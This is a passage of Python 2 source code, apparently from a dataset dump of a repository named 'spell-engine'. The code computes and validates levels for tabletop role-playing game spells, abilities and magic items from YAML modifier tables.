purpose\")\n\n # abilities that need a duration must have a duration\n if (self.duration is None\n and need_duration):\n self.die(\"is missing required property 'duration'\")\n\n # abilities with targets = 'five' should not have small areas\n if (self.targets == 'five'\n and self.area is not None\n and self._area_modifier() <= 2):\n self.die(\"has too small of an area for targets='five'\")\n\n # make sure that attack_subeffects has no extraneous keys\n if self.attack_subeffects is not None:\n for key in self.attack_subeffects:\n if key not in ['critical success', 'effect', 'failure',\n 'noncritical effect', 'success']:\n self.warn(\"has unexpected key '{0}' in attack_subeffects\".format(\n key\n ))\n\n # make sure that all of the levels of subabilities within\n # attack_subeffects make sense\n if self.attack_subeffects is not None:\n sublevels = self._calculate_attack_subability_levels()\n if 'success' in sublevels:\n level_modifier = sublevels['success'] - 3\n else:\n level_modifier = (\n sublevels.get('effect', 0)\n + sublevels.get('noncritical effect', 0)\n )\n\n # check whether the 'success' part is too low\n # after un-adding the 'effect' modifiers\n unmodified_success_modifier = (\n sublevels.get('success', 0)\n - sublevels.get('effect', 0)\n - sublevels.get('noncritical effect', 0)\n - 3\n )\n if ('success' in sublevels\n and unmodified_success_modifier <= 0):\n self.warn(\"has success with nonpositive level {0}\".format(\n unmodified_success_modifier\n ))\n\n if ('failure' in sublevels\n and not is_close(level_modifier - 3,\n sublevels['failure'])):\n self.warn(\"has failure with incorrect level {0} instead of {1}\".format(\n sublevels['failure'],\n level_modifier - 3,\n ))\n\n if 'critical success' in sublevels and not is_close(\n level_modifier + 9,\n sublevels['critical success'],\n ):\n self.warn(\"has critical success with incorrect level {0} instead of {1}\".format(\n sublevels['critical success'],\n level_modifier + 9,\n ))\n\n # make sure that dispellable abilities have a reasonable duration\n if not self.dispellable and (self.duration is None\n or self.duration in ('round', 'concentration')):\n self.die(\"is not dispellable, but has trivial duration {0}\".format(self.duration))\n\n\n def die(self, message):\n raise Exception(\"{0} {1} (properties: {2})\".format(\n self,\n message,\n self.properties\n ))\n\n def warn(self, message):\n print \"Warning: {0} {1}\".format(\n self,\n message\n )\n\n def level(self):\n level = 0\n\n # call all the calculation functions\n\n for property_name in self.properties:\n if self.properties[property_name] is not None:\n level += self.get_modifier(property_name)\n\n return level\n\n def spell_level(self):\n return self.level() - 4\n\n def explain_level(self):\n print self\n for property_name in self.properties:\n # only print non-default properties\n if not (property_name in DEFAULT_PROPERTY_VALUES\n and self.properties[property_name] == DEFAULT_PROPERTY_VALUES[property_name]):\n print \" {0}: {1}\".format(\n property_name,\n self.get_modifier(property_name),\n )\n # subeffects should be explained individually\n if property_name == 'attack subeffects':\n print \" {0}\".format(\n self._calculate_attack_subability_levels()\n )\n elif property_name == 'subeffects':\n for subeffect_properties in self.subeffects:\n subability = self.create_subability(subeffect_properties)\n print \" sub: {0}\".format(\n subability.level()\n )\n print \"total:\", self.spell_level()\n\n def __str__(self):\n return \"Ability('{0}')\".format(self.name)\n\n def create_subability(self, properties):\n \"\"\"Create a subability with the given properties\n\n Args:\n properties (dict)\n\n Yields:\n Ability\n \"\"\"\n return Ability(self.name + '**subability', properties)\n\n def _area_modifier(self):\n modifier = RAW_MODIFIERS['area'][self.area_shape][self.area_size]\n\n modifier += RAW_MODIFIERS['area type'][self.area_type]\n\n # knowledge spells pay less for areas\n if self.knowledge is not None:\n return modifier / 2.0\n else:\n return modifier\n\n def _attack_subeffects_modifier(self, show_warnings=True):\n\n # first, get the levels of all possible subabilities\n # we'll calculate the total level modifier using all of them\n sublevels = self._calculate_attack_subability_levels()\n\n # now that we have all the sublevels, determine the base level\n level_modifier = None\n # normally we determine the base level modifier from 'success'\n if 'success' in sublevels:\n level_modifier = sublevels['success'] - 3\n else:\n level_modifier = (\n sublevels.get('effect', 0)\n + sublevels.get('noncritical effect', 0)\n )\n\n return level_modifier\n\n def _battlefield_effects_modifier(self):\n modifier = 0\n\n for effect in self.battlefield_effects:\n try:\n modifier += RAW_MODIFIERS['battlefield effects'][effect]\n except KeyError:\n modifier += RAW_MODIFIERS['conditions'][effect]\n\n return modifier\n\n def _calculate_attack_subability_levels(self):\n sublevels = dict()\n\n for modifier_name in ['critical success', 'effect', 'failure',\n 'noncritical effect', 'success']:\n if modifier_name in self.attack_subeffects:\n subability = self.create_subability(\n self.attack_subeffects[modifier_name]\n )\n sublevels[modifier_name] = subability.level()\n\n # adjust the sublevels to include shared effects\n if 'effect' in sublevels:\n if 'success' in sublevels:\n sublevels['success'] += sublevels['effect']\n if 'failure' in sublevels:\n sublevels['failure'] += sublevels['effect']\n if 'critical success' in sublevels:\n sublevels['critical success'] += sublevels['effect']\n\n if 'noncritical effect' in sublevels:\n if 'success' in sublevels:\n sublevels['success'] += sublevels['noncritical effect']\n if 'failure' in sublevels:\n sublevels['failure'] += sublevels['noncritical effect']\n\n return sublevels\n\n\n def _breakable_modifier(self):\n return RAW_MODIFIERS['breakable'][self.breakable]\n\n def _buffs_modifier(self):\n modifier = 0\n\n for buff in self.buffs:\n try:\n modifier += RAW_MODIFIERS['buffs'][buff]\n except TypeError:\n # the buff is a nested modifier\n top_level_name = buff.keys()[0]\n value = buff[top_level_name]\n modifier += RAW_MODIFIERS['buffs'][top_level_name][value]\n\n return modifier\n\n def _casting_time_modifier(self):\n return RAW_MODIFIERS['casting time'][self.casting_time]\n\n def _conditions_modifier(self):\n modifier = 0\n for condition in self.conditions:\n modifier += RAW_MODIFIERS['conditions'][condition]\n return modifier\n\n def _choose_effect_modifier(self):\n return RAW_MODIFIERS['choose effect'][self.choose_effect]\n\n def _components_modifier(self):\n return RAW_MODIFIERS['components'][self.components]\n\n def _damage_modifier(self):\n try:\n return RAW_MODIFIERS['damage'][self.damage]\n except TypeError:\n # the damage is a nested modifier\n top_level_name = self.damage.keys()[0]\n value = self.damage[top_level_name]\n return RAW_MODIFIERS['damage'][top_level_name][value]\n\n def _dispellable_modifier(self):\n if self.dispellable:\n return 0\n # if the duration is effectively free, not being dispellable is useless\n elif self.duration is None or self._duration_modifier() <= 1:\n return 0\n # for normal durations, being dispellable doesn't matter much\n else:\n return int(self._duration_modifier() / 4) + 1\n\n def _duration_modifier(self):\n # if the duration only exists to be passed on to\n # subeffects, don't record a duration modifier here\n if self.duration_type == 'subeffect':\n return 0\n else:\n try:\n return RAW_MODIFIERS['duration'][self.duration_type][self.duration]\n except KeyError:\n self.die(\"has unrecognized duration '{}'\".format(self.duration))\n\n def _expended_modifier(self):\n return RAW_MODIFIERS['expended'][self.expended]\n\n def _instant_effect_modifier(self):\n return RAW_MODIFIERS['instant effect'][self.instant_effect]\n\n def _knowledge_modifier(self):\n return RAW_MODIFIERS['knowledge'][self.knowledge]\n\n def _limit_affected_modifier(self):\n modifiers = RAW_MODIFIERS['limit affected']\n return modifiers[self.limit_affected_type][self.limit_affected]\n\n def _misc_modifier(self):\n return self.misc\n\n def _noncombat_modifier(self):\n # being noncombat has no direct effect on an ability's level\n # but some other calculations use it\n return 0\n\n def _range_modifier(self):\n if self.buffs is not None:\n return RAW_MODIFIERS['range']['buff'][self.range]\n else:\n return RAW_MODIFIERS['range']['normal'][self.range]\n\n def _shapeable_modifier(self):\n return RAW_MODIFIERS['shapeable'][self.shapeable]\n\n def _spell_resistance_modifier(self):\n return RAW_MODIFIERS['spell resistance'][self.spell_resistance]\n\n def _subeffects_modifier(self):\n modifier = 0\n for subeffect_properties in self.subeffects:\n subability = self.create_subability(subeffect_properties)\n modifier += subability.level()\n return modifier\n\n def _targets_modifier(self):\n if self.targets == 'automatically find one':\n if self.targets_type == 'area':\n # reduce the area cost by half\n return - self._area_modifier() / 2\n else:\n # double the range modifier\n return self._range_modifier()\n elif self.targets == 'enemies' and self.targets_type == 'area':\n # 'enemies' matters more for larger areas\n if self._area_modifier() >= 5:\n return 2\n else:\n return 1\n else:\n return RAW_MODIFIERS['targets'][self.targets_type][self.targets]\n\n def _teleport_modifier(self):\n modifier = 0\n modifier += RAW_MODIFIERS['teleport']['range'][\n self.teleport['range']\n ]\n modifier += RAW_MODIFIERS['teleport']['type'][\n self.teleport['type']\n ]\n return modifier\n\n def _trigger_modifier(self):\n modifier = 0\n modifier += RAW_MODIFIERS['trigger']['condition'][\n self.trigger['condition']\n ]\n modifier += RAW_MODIFIERS['trigger']['duration'][\n self.trigger['duration']\n ]\n return modifier\n\n\n# here we do some witchcraft to automatically add properties to Ability\n# we do this because I'm too lazy to type all the @property boilerplate\ndef create_ability_property(property_name):\n def get_property(ability):\n return ability.properties.get(property_name, None)\n python_property_name = property_name.replace(' ', '_')\n setattr(Ability, python_property_name, property(get_property))\nfor property_name in KNOWN_ABILITY_PROPERTIES:\n create_ability_property(property_name)\n\n\ndef calculate_ability_levels(data):\n ability_levels = dict()\n for ability_name in data:\n ability = Ability(ability_name, data[ability_name])\n ability_levels[ability_name] = ability.spell_level()\n return ability_levels\n\n\ndef explain_ability_levels(data):\n for ability_name in data:\n ability = Ability(ability_name, data[ability_name])\n ability.explain_level()\n\n\ndef main(args):\n if args['items']:\n data = import_yaml_file('magic_items.yaml')\n elif args['spells']:\n data = import_yaml_file('spells.yaml')\n else:\n raise Exception(\"I don't know what data to use\")\n\n if args['--ability']:\n data = {\n args['--ability']: data[args['--ability']]\n }\n args['--verbose'] = True\n\n if args['--verbose']:\n explain_ability_levels(data)\n elif args['--tofile']:\n with open('levels.yaml', 'w') as levels_file:\n ability_levels = calculate_ability_levels(data)\n for ability_name in sorted(ability_levels.keys()):\n levels_file.write(\"{}: {}\\n\".format(\n ability_name,\n ability_levels[ability_name]\n ))\n else:\n ability_levels = calculate_ability_levels(data)\n for ability_name in sorted(ability_levels.keys()):\n print \"{}: {}\".format(\n ability_name,\n ability_levels[ability_name]\n )\n\nif __name__ == \"__main__\":\n main(docopt(doc))\n" }, { "alpha_fraction": 0.6208111643791199, "alphanum_fraction": 0.6256564855575562, "avg_line_length": 48.8530387878418, "blob_id": "fb261c5e2357e134a924e4b4cebf5ed758c45b9d", "content_id": "4777f718d7e39b7a41a6f801b8f9dfdc47c3b99c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29513, "license_type": "no_license", "max_line_length": 205, "num_lines": 592, "path": "/spellgenerator.py", "repo_name": "Vadskye/spell-engine", "src_encoding": "UTF-8", "text": "import argparse\nfrom pprint import pprint, PrettyPrinter\nimport yaml\n\npprinter = PrettyPrinter(indent=4, width=60)\n\nAREA_NAMES = set('burst, emanation, limit, wall, zone'.split(', '))\nPRIMARY_ATTRIBUTES = 'attack subeffects, buffs, conditions, damage, instant effect, knowledge, subeffects, teleport'.split(', ')\nSINGLE_MODIFIERS = set('casting time, choose effect, components, delayable, difficult trigger, expended, knowledge, instant effect, no prebuff, personal only, range, spell resistance, targets'.split(', '))\n#PLURAL_MODIFIERS = set('buffs conditions'.split())\n# these modifiers are factored in as part of other modifiers\nNONGENERIC_MODIFIERS = set('dispellable, duration, ignore warnings, limit affected, noncombat buff, shapeable, trigger condition, trigger duration'.split(', '))\n# convert singular to plural for consistency\nTARGETING_ATTRIBUTES = set('casting time, components, personal only, range, shapeable, spell resistance, targets'.split(', ') + list(AREA_NAMES))\nPLURAL_MAPPINGS = {\n 'antibuff': 'antibuffs',\n 'buff': 'buffs',\n 'condition': 'conditions',\n 'subeffect': 'subeffects',\n 'trigger': 'triggers',\n}\nNESTING_ATTRIBUTES = set('subeffects, attack subeffects'.split(', '))\nSUBSPELL_INHERITED_ATTRIBUTES = set(list(SINGLE_MODIFIERS) + list(AREA_NAMES) + 'dispellable, duration, ignore warnings'.split(', '))\n\n# list: 0th is spell point cost of 0th level spells, 1st is spell point cost of\n# 1st level spells, etc.\n# Every 3 levels, the power of a spell (the spell point cost) doubles\nSPELL_POINT_COSTS = (\n 5, # arcane invocation\n 10, # 1st level spell\n 13, # 2nd level spell\n 16, # 3rd level spell\n 20, # 4th level spell\n 26, # 5th level spell\n 32, # 6th level spell\n 40, # 7th level spell\n 52, # 8th level spell\n 64, # 9th level spell\n)\n\ndef initialize_argument_parser():\n parser = argparse.ArgumentParser(description='Assign levels to spells')\n parser.add_argument('-s', '--spell', dest='spell_name', nargs=\"*\",\n help='Name of specific spells')\n parser.add_argument('-a', '--abilities', dest='abilities', type=str,\n nargs='*', help = 'if provided, process abilities instead of spells')\n parser.add_argument('-m', '--magicitems', dest='magic_items', type=str,\n nargs='*', help = 'if provided, process abilities instead of spells')\n parser.add_argument('-t', '--type', dest='type', type=str,\n help='type of spells to get')\n parser.add_argument('-v', '--verbose', dest='verbose', action='store_true',\n help='generate more output')\n return vars(parser.parse_args())\n\ndef import_data(args):\n with open('modifiers.yaml', 'r') as modifiersfile:\n modifiers = yaml.load(modifiersfile)\n if args.get('abilities') is not None:\n filename = 'abilities.yaml'\n elif args.get('magic_items') is not None:\n filename = 'magic_items.yaml'\n else:\n filename = 'spells.yaml'\n with open(filename, 'r') as spellsfile:\n spells = yaml.load(spellsfile)\n return {\n 'modifiers': modifiers,\n 'spells': spells,\n }\n\ndef enforce_plural_attributes(attributes):\n # make sure only the plural versions of the attribute names are stored\n for attribute_name in attributes:\n if attribute_name in PLURAL_MAPPINGS:\n plural_attribute_name = PLURAL_MAPPINGS[attribute_name]\n attributes[plural_attribute_name] = (attributes.pop(attribute_name),)\n return attributes\n\ndef ensure_list(string_or_list):\n if isinstance(string_or_list, basestring):\n return (string_or_list,)\n else:\n return string_or_list\n\nclass Spell:\n def __init__(self, name, attributes, all_modifiers, verbose = False):\n self.name = name\n self.attributes = enforce_plural_attributes(attributes)\n self.verbose = verbose\n self.modifiers = dict()\n\n @property\n def ignore_warnings(self):\n return self.attributes.get('ignore warnings')\n\n @property\n def affects_multiple(self):\n for attribute_name in AREA_NAMES:\n if self.has_attribute(attribute_name):\n return True\n if self.has_attribute('targets'):\n return True\n return False\n\n def assert_valid_attributes(self):\n primary_attribute_count = 0\n for primary_attribute in PRIMARY_ATTRIBUTES:\n if self.has_attribute(primary_attribute) and self.get_attribute(primary_attribute) is not None:\n primary_attribute_count += 1\n if primary_attribute_count == 0:\n raise Exception(\"Spell {0} has no primary attributes ({1})\".format(self.name, pprinter.pformat(self.attributes)))\n elif primary_attribute_count >= 2:\n raise Exception(\"Spell {0} has too many primary attributes ({1})\".format(self.name, pprinter.pformat(self.attributes)))\n\n def get_attribute(self, attribute):\n try:\n return self.attributes[attribute]\n except KeyError:\n raise Exception(\"Spell {0} does not have attribute {1}\".format(self.name, attribute))\n except TypeError as e:\n raise Exception(\"Spell {0} had weird error getting attribute {1}: {2}\".format(\n self.name, attribute, e))\n\n def has_attribute(self, attribute_name):\n return attribute_name in self.attributes\n\n def has_nested_attribute(self, attribute_name):\n attribute_name = PLURAL_MAPPINGS.get(attribute_name, attribute_name)\n return (\n attribute_name in self.attributes\n or attribute_name in self.attributes.get('attack subeffects', {})\n or attribute_name in self.attributes.get('subeffects', {})\n )\n\n def add_attribute(self, attribute_name, attribute, replace_existing=True, require_nonexisting=False):\n if replace_existing or not self.has_attribute(attribute_name):\n self.attributes[attribute_name] = attribute\n elif require_nonexisting and self.has_attribute(attribute_name):\n raise Exception(\"Spell {0} already has attribute {1}, but require_nonexisting is true ({2})\".format(self.name, attribute_name, pprinter.pformat(self.attributes)))\n # if the attribute already exists, and both replace_exiting and\n # require_nonexisting are False, silently ignore the addition\n\n def add_modifier(self, modifier_name, value):\n if value is None:\n raise Exception(\"Spell {0} can't add modifier {1} with value of None\".format(self.name, modifier_name))\n if modifier_name in self.modifiers:\n try:\n self.modifiers[modifier_name].append(value)\n except AttributeError:\n modifiers = list()\n modifiers.append(self.modifiers[modifier_name])\n modifiers.append(value)\n self.modifiers[modifier_name] = modifiers\n else:\n self.modifiers[modifier_name] = value\n\n def get_modifier(self, modifier_name):\n try:\n return self.modifiers[modifier_name]\n except KeyError:\n raise Exception(\"Spell {0} does not have modifier {1}\".format(self.name, modifier_name))\n\n def calculate_level(self, raw = False, ignore_targeting_attributes = False):\n if self.has_attribute('ignore') and self.get_attribute('ignore'):\n return ''\n self.assert_valid_attributes()\n self.calculate_modifiers(all_modifiers, ignore_targeting_attributes)\n\n level = 0\n for modifier_name in self.modifiers:\n if ignore_targeting_attributes and modifier_name in TARGETING_ATTRIBUTES:\n continue\n try:\n level += self.get_modifier(modifier_name)\n except TypeError:\n for submodifier in self.get_modifier(modifier_name):\n level += submodifier\n if level <= 0 and not self.ignore_warnings:\n print \"#Warning: Spell {0} has nonpositive raw level {1}, which is usually bad\".format(self.name, level)\n if raw:\n return level\n else:\n return level - 4\n\n def calculate_modifiers(self, all_modifiers, ignore_targeting_attributes = False):\n self.modifiers = dict()\n for attribute_name in self.attributes:\n if ignore_targeting_attributes and attribute_name in TARGETING_ATTRIBUTES:\n continue\n\n attribute = self.get_attribute(attribute_name)\n\n # skip attributes that don't actually exist\n if attribute is None:\n continue\n # most modifiers are a single dict\n # but some have nested dicts, while others don't use dicts at all\n if attribute_name == 'subeffects':\n for subeffect in attribute:\n self.add_modifier('subeffect', self.calculate_subeffect_modifier(subeffect, all_modifiers))\n elif attribute_name == 'attack subeffects':\n self.add_attack_subeffects_modifiers(attribute_name, attribute, all_modifiers)\n elif attribute_name == 'triggered':\n for modifier in self.calculate_triggered_modifier(all_modifiers):\n self.add_modifier('triggered', modifier)\n else:\n # for these attributes, we are just deciding what the total\n # modifier is, not using fancy logic to assign special modifier\n # names, so the structure is more similar\n spell_level = 0\n if attribute_name in AREA_NAMES:\n spell_level = self.calculate_area_modifier(attribute_name, attribute, all_modifiers)\n elif attribute_name == 'damage':\n spell_level = self.calculate_damage_modifier(attribute, all_modifiers)\n elif attribute_name == 'targets':\n spell_level = self.calculate_targets_modifier(attribute_name, attribute, all_modifiers)\n elif attribute_name == 'buffs':\n spell_level = self.calculate_buffs_modifier(attribute, all_modifiers)\n elif attribute_name == 'conditions':\n spell_level = self.calculate_conditions_modifier(attribute, all_modifiers)\n elif attribute_name == 'limit affected':\n spell_level = self.calculate_limit_affected_modifier(attribute, all_modifiers)\n elif attribute_name == 'range':\n spell_level = self.calculate_range_modifier(attribute, all_modifiers)\n elif attribute_name == 'antibuffs':\n spell_level = self.calculate_antibuffs_modifier(attribute, all_modifiers)\n elif attribute_name == 'instant effect':\n spell_level = self.calculate_instant_effect_modifier(attribute, all_modifiers)\n elif attribute_name == 'teleport':\n spell_level = self.calculate_teleport_modifier(attribute, all_modifiers)\n elif attribute_name == 'breakable':\n spell_level = self.calculate_breakable_modifier(attribute, all_modifiers)\n elif attribute_name == 'misc':\n spell_level = attribute\n elif attribute_name == 'at will class feature':\n spell_level = all_modifiers['at will class feature']\n elif attribute_name in SINGLE_MODIFIERS:\n spell_level = self.calculate_generic_modifier(attribute_name, attribute, all_modifiers)\n #elif attribute_name in PLURAL_MODIFIERS:\n #for subattribute_name in self.get_attribute(attribute_name):\n #spell_level += super_get(all_modifiers, {attribute_name: subattribute_name})\n elif attribute_name in NONGENERIC_MODIFIERS:\n pass\n else:\n raise Exception(\"Spell {0} has unrecognized attribute {1}\".format(self.name, attribute_name))\n self.add_modifier(attribute_name, spell_level)\n\n def calculate_subeffect_modifier(self, subeffect, all_modifiers):\n subspell = Spell('{0}.subspell'.format(self.name), subeffect, all_modifiers)\n # propagate attributes of the base spell into the subeffects\n for attribute_name in self.attributes:\n if attribute_name in SUBSPELL_INHERITED_ATTRIBUTES:\n subspell.add_attribute(attribute_name, self.get_attribute(attribute_name), replace_existing = False)\n return max(0,subspell.calculate_level(raw = True, ignore_targeting_attributes = True))\n\n def calculate_damage_modifier(self, attribute, all_modifiers):\n return self.calculate_generic_modifier('damage', attribute, all_modifiers)\n\n def add_attack_subeffects_modifiers(self, attribute_name, attribute, all_modifiers):\n if 'success' in attribute:\n success_modifier = self.calculate_success_modifier(attribute['success'], all_modifiers)\n self.add_modifier('attack success', success_modifier)\n else:\n success_modifier = 0\n\n if 'noncritical effect' in attribute:\n noncritical_effect_modifier = self.calculate_subeffect_modifier(\n attribute['noncritical effect'], all_modifiers\n )\n if success_modifier != 0 and noncritical_effect_modifier > success_modifier + 3:\n raise Exception(\"Spell {0} has noncritical effect more powerful than success ({1})\".format(self.name, self.attributes))\n self.add_modifier('noncritical effect', noncritical_effect_modifier)\n else:\n noncritical_effect_modifier = 0\n\n if 'critical success' in attribute:\n critical_success_modifier = self.calculate_critical_success_modifier(\n attribute['critical success'], success_modifier + noncritical_effect_modifier, all_modifiers\n )\n self.add_modifier('attack critical success', max(0, critical_success_modifier) + 1)\n\n if 'failure' in attribute:\n failure_modifier = self.calculate_failure_modifier(\n attribute['failure'], success_modifier, all_modifiers\n )\n self.add_modifier('attack failure', max(0, failure_modifier))\n\n if 'effect' in attribute:\n effect_modifier = self.calculate_subeffect_modifier(\n attribute['effect'], all_modifiers\n )\n if success_modifier != 0 and effect_modifier > success_modifier + 3:\n raise Exception(\"Spell {0} has effect more powerful than success ({1})\".format(self.name, self.attributes))\n self.add_modifier('attack effect', effect_modifier)\n\n def calculate_success_modifier(self, success_effects, all_modifiers):\n modifier = sum([\n self.calculate_subeffect_modifier(success_effects, all_modifiers),\n all_modifiers['attack']['success only']\n ])\n if modifier <= 0 and not self.ignore_warnings:\n print \"#Warning: Spell {0} has success subeffect with level {1}, which may be too weak\".format(\n self.name, modifier)\n return max(1, modifier)\n\n def calculate_critical_success_modifier(self, critical_success_effects, success_modifier, all_modifiers):\n modifier = sum([\n self.calculate_subeffect_modifier(critical_success_effects, all_modifiers),\n all_modifiers['attack']['critical success only'],\n -success_modifier\n ])\n if modifier < -1 and not self.ignore_warnings:\n print \"#Warning: Spell {0} has crit success subeffect with level {1}, which may be too weak\".format(\n self.name, modifier)\n elif modifier > 0 and not self.ignore_warnings:\n print \"#Warning: Spell {0} has crit success subeffect with level {1}, which may be too strong\".format(\n self.name, modifier)\n return modifier\n\n def calculate_failure_modifier(self, failure_effects, success_modifier, all_modifiers):\n modifier = sum([\n self.calculate_subeffect_modifier(failure_effects, all_modifiers),\n all_modifiers['attack']['failure only'],\n -success_modifier\n ])\n if modifier < -1 and not self.ignore_warnings:\n print \"#Warning: Spell {0} has failure subeffect with level {1}, which may be too weak\".format(\n self.name, modifier)\n elif modifier > 0 and not self.ignore_warnings:\n print \"#Warning: Spell {0} has failure subeffect with level {1}, which may be too strong\".format(\n self.name, modifier)\n return modifier\n\n def calculate_area_modifier(self, attribute_name, attribute, all_modifiers):\n area_size, area_shape = attribute.split()\n modifier = all_modifiers['area'][area_shape][area_size]\n if not self.has_attribute('targets'):\n raise Exception(\"Spell {0} with area must have targets ({1})\".format(self.name, self.attributes))\n targets = self.get_attribute('targets')\n # if a spell affects five targets\n if targets == 'five':\n modifier = max(3, modifier - 2)\n elif targets == 'two':\n modifier = max(2, modifier - 3)\n elif targets == 'automatically find one':\n modifier = max(1, modifier - 2)\n elif targets == 'enemies':\n # 'enemies' matters more for larger areas\n if area_size in ('large', 'huge', 'gargantuan', 'colossal'):\n modifier += 1\n # if the spell is shapeable\n if self.has_attribute('shapeable') and area_shape in ('line', 'wall'):\n modifier += all_modifiers['shapeable'][self.get_attribute('shapeable')]\n # knowledge spells should get cheaper areas\n if self.has_attribute('knowledge'):\n modifier = max(2, modifier - 2)\n return modifier\n\n def calculate_buffs_modifier(self, attribute, all_modifiers):\n modifier = all_modifiers['buffs']['base']\n if not self.has_attribute('duration'):\n raise Exception(\"Spell {0} with buff must have duration ({1})\".format(self.name, self.attributes))\n for buff in attribute:\n try:\n buff_name = buff.keys()[0]\n except AttributeError:\n buff_name = buff\n\n if buff_name == 'bonuses':\n # add the modifier for each component of the bonus\n buffed_statistics = ensure_list(buff[buff_name])\n for buffed_statistic in buffed_statistics:\n modifier += self.calculate_generic_modifier('buffs', {'bonuses': buffed_statistic}, all_modifiers)\n elif buff_name == 'awesome point':\n buffed_statistics = ensure_list(buff[buff_name])\n for buffed_statistic in buffed_statistics:\n modifier += self.calculate_generic_modifier('buffs', {'awesome point': buffed_statistic}, all_modifiers)\n else:\n modifier += self.calculate_generic_modifier('buffs', buff, all_modifiers)\n if self.attributes.get('personal only'):\n duration_type = 'personal buff'\n elif self.attributes.get('noncombat buff'):\n duration_type = 'noncombat buff'\n else:\n duration_type = 'nonpersonal buff'\n\n # if self.affects_multiple:\n # modifier += 1\n\n modifier += self.calculate_duration_modifier(self.get_attribute('duration'), all_modifiers, duration_type = duration_type)\n return modifier\n\n def calculate_conditions_modifier(self, attribute, all_modifiers):\n if not self.has_attribute('duration'):\n raise Exception(\"Spell {0} with condition must have duration ({1})\".format(self.name, self.attributes))\n modifier = all_modifiers['conditions']['base']\n for condition in attribute:\n try:\n condition_name = condition.keys()[0]\n except AttributeError:\n condition_name = condition\n\n if condition_name == 'penalties':\n # also add the modifier for each component of the penalty\n penalized_statistics = ensure_list(condition[condition_name])\n for penalized_statistic in penalized_statistics:\n modifier += self.calculate_generic_modifier('conditions', {'penalties': penalized_statistic}, all_modifiers)\n else:\n modifier += self.calculate_generic_modifier('conditions', condition, all_modifiers)\n modifier += self.calculate_duration_modifier(self.get_attribute('duration'), all_modifiers)\n return modifier\n\n def calculate_duration_modifier(self, attribute, all_modifiers, duration_type = 'normal'):\n modifier = self.calculate_generic_modifier('duration', {duration_type: attribute}, all_modifiers)\n if self.has_attribute('dispellable') and not self.get_attribute('dispellable') and not attribute == 'round':\n # long durations are penalized more, but every non-round duration\n # should have some penalty\n modifier = max(modifier + 1, modifier * 1.5)\n # knowledge spells are concentration duration for convenience\n # reasons, but they shouldn't get the full benefit since the\n # advantage is usually minimal\n if attribute == 'concentration' and self.has_attribute('knowledge'):\n modifier = min(modifier + 1, 0)\n # long duration matters less for temporary hit points\n if (\n attribute not in ('short', 'concentration', 'round', 'personal long')\n and self.has_attribute('buffs')\n and 'temporary hp' in self.get_attribute('buffs')\n ):\n modifier = max(0, modifier - 1)\n if attribute == 'personal long' and not self.attributes.get('range', None) == 'close' and not self.ignore_warnings:\n print \"#Warning: spell {0} with 'personal long' duration should be close range\".format(self.name)\n return modifier\n\n def calculate_instant_effect_modifier(self, attribute, all_modifiers):\n return self.calculate_generic_modifier('instant effect', attribute, all_modifiers)\n\n def calculate_limit_affected_modifier(self, attribute, all_modifiers):\n if (\n self.has_attribute('buffs')\n or (\n self.has_attribute('subeffects')\n and 'buffs' in self.get_attribute('subeffects')\n )\n ):\n attribute = {'buff': attribute}\n else:\n attribute = {'normal': attribute}\n return self.calculate_generic_modifier('limit affected', attribute, all_modifiers)\n\n def calculate_range_modifier(self, attribute, all_modifiers):\n if self.has_attribute('buffs') or self.has_attribute('teleport'):\n return self.calculate_generic_modifier('range', {'buff': attribute}, all_modifiers)\n else:\n return self.calculate_generic_modifier('range', {'normal': attribute}, all_modifiers)\n\n def calculate_antibuffs_modifier(self, attribute, all_modifiers):\n try:\n modifier = self.calculate_conditions_modifier(attribute, all_modifiers)\n except:\n modifier = self.calculate_buffs_modifier(attribute, all_modifiers)\n return -modifier / 2.0\n\n def calculate_teleport_modifier(self, attribute, all_modifiers):\n modifier = self.calculate_range_modifier(attribute['range'], all_modifiers)\n if attribute.get('unrestricted'):\n modifier += self.calculate_generic_modifier('teleport', 'unrestricted', all_modifiers)\n else:\n modifier += self.calculate_generic_modifier('teleport', 'normal', all_modifiers)\n return modifier\n\n def calculate_breakable_modifier(self, attribute, all_modifiers):\n attribute = ensure_list(attribute)\n modifier = 0\n for subattribute in attribute:\n modifier += self.calculate_generic_modifier('breakable', subattribute, all_modifiers)\n return modifier\n\n def calculate_targets_modifier(self, attribute_name, attribute, all_modifiers):\n modifier = self.calculate_generic_modifier(attribute_name, attribute, all_modifiers)\n # if we affect a specific number of targets, this could mean two things\n # it could mean we're placing a limit on the number of targets affected\n # within the area\n # or it could mean we're affecting five targets with a spell that would\n # otherwise not have an area\n if attribute in ('five', 'two', 'automatically find one'):\n # if there is an area, the modifier is handled in calculate_area_modifier\n for area_name in AREA_NAMES:\n if self.has_attribute(area_name):\n return 0\n return modifier\n else:\n # we need to have an area if we aren't affecting a specific number\n # of targets\n for area_name in AREA_NAMES:\n if self.has_attribute(area_name):\n return modifier\n raise Exception(\n \"Spell {0} with non-specific targets {1} must have area ({2})\".format(\n self.name, attribute, self.attributes,\n )\n )\n return modifier\n\n def calculate_triggered_modifier(self, all_modifiers):\n if not (self.has_attribute('trigger condition') and self.has_attribute('triggered') and self.get_attribute('triggered')):\n raise Exception(\"Spell {0} with trigger must have both 'triggered: true' and 'trigger condition' ({1})\".format(self.name, self.attributes))\n modifiers = list()\n modifiers.append(self.calculate_generic_modifier('trigger condition', self.get_attribute('trigger condition'), all_modifiers))\n if self.has_attribute('trigger duration'):\n modifiers.append(self.calculate_duration_modifier(self.get_attribute('trigger duration'), all_modifiers, duration_type = 'trigger'))\n return modifiers\n\n def calculate_triggers_modifier(self, attribute_name, attribute, all_modifiers):\n spell_level = 0\n for trigger in attribute:\n try:\n trigger_condition = trigger['trigger condition']\n trigger_effect = trigger['subeffect']\n except KeyError:\n raise Exception(\"Spell {0} has invalid trigger {1}\".format(self.name, pprinter.pformat(trigger)))\n spell_level += all_modifiers['trigger condition'][trigger_condition]\n spell_level += self.calculate_subeffect_modifier(trigger_effect, all_modifiers)\n return spell_level\n\n def calculate_generic_modifier(self, attribute_name, attribute, all_modifiers):\n return super_get(all_modifiers, {attribute_name: attribute})\n\n @classmethod\n def create_by_name(cls, spell_name, spells, all_modifiers, verbose = None):\n spell_attributes = dict()\n # assign the attributes from the spell with the given name\n for key in spells[spell_name]:\n spell_attributes[key] = spells[spell_name][key]\n # spells can inherit attributes from specific 'base' spells\n while 'base' in spell_attributes:\n # remove 'base' so we can tell if there are no more base spells left\n base_spell = spells[spell_attributes.pop('base')]\n for key in base_spell:\n if key not in spell_attributes and key != 'ignore':\n spell_attributes[key] = base_spell[key]\n # every 